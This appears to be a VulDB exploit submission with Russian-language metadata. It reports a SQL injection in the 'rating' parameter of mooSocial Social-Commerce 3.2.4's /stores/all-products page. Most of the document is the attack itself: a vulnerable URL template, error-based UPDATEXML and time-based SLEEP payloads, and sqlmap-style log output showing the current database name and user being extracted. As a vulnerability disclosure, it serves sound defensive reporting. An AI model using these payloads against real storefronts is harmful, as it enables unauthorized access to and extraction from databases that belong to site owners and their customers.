Отправить #948272: moosocial Social-Commerce 3.2.4 SQL Injection

# Exploit Title: moosocial Social-Commerce 3.2.4 - SQL Injection time-based blind
# Exploit Author: skalvin
# Date: 26/08/2026
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://social-commerce.moosocial.com/
# Tested on: Windows 11 Pro
# Impact: Database Access

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.

Path: /stores/all-products

GET parameter 'rating' is vulnerable to SQLI

https://website/stores/all-products?store_id=&keyword=p&filter_type%5B%5D=regular&price_from=11&price_to=22&rating=[SQL Injection]&filter_featured=1&store_category_id=&sortby=most_recent

## PoC:

[+] current database

---
Parameter: rating (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=UPDATEXML(0,CONCAT(0x7e,0x72306f746833783439,0x7e),0)&filter_featured=1&store_category_id=&sortby=most_recent

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&filter_featured=1&store_category_id=&sortby=most_recent
---
[10:06:19] [INFO] testing MySQL
[10:06:19] [INFO] confirming MySQL
[10:06:19] [INFO] the back-end DBMS is MySQL
[10:06:19] [INFO] fetching current database
[10:06:21] [INFO] retrieved: 'ecommerce_moosocial'
current database: '***_***'

[+] current user

---
Parameter: rating (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=UPDATEXML(0,CONCAT(0x7e,0x72306f746833783439,0x7e),0)&filter_featured=1&store_category_id=&sortby=most_recent

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&filter_featured=1&store_category_id=&sortby=most_recent
---
[10:20:57] [INFO] testing MySQL
[10:20:57] [INFO] confirming MySQL
[10:20:57] [INFO] the back-end DBMS is MySQL
[10:20:57] [INFO] fetching current user
[10:21:15] [INFO] retrieving the length of query output
[10:21:28] [INFO] retrieved: 21
[10:30:28] [INFO] retrieved: 'ecommerce_moosocial@%'
current user: '***_***l@%'

[-] Done

• Источник: ⚠️ https://social-commerce.moosocial.com/stores/all-products
• Пользователь: skalvin (UID 49463)
• Представление: 26.08.2026 12:56 (1 месяц назад)
• Модерация: 03.10.2026 20:10 (1 month later)
• Статус: принято
• Запись VulDB: 413374 [mooSocial до 3.2.4 /stores/all-products rating SQL-инъекция]
• Баллы: 20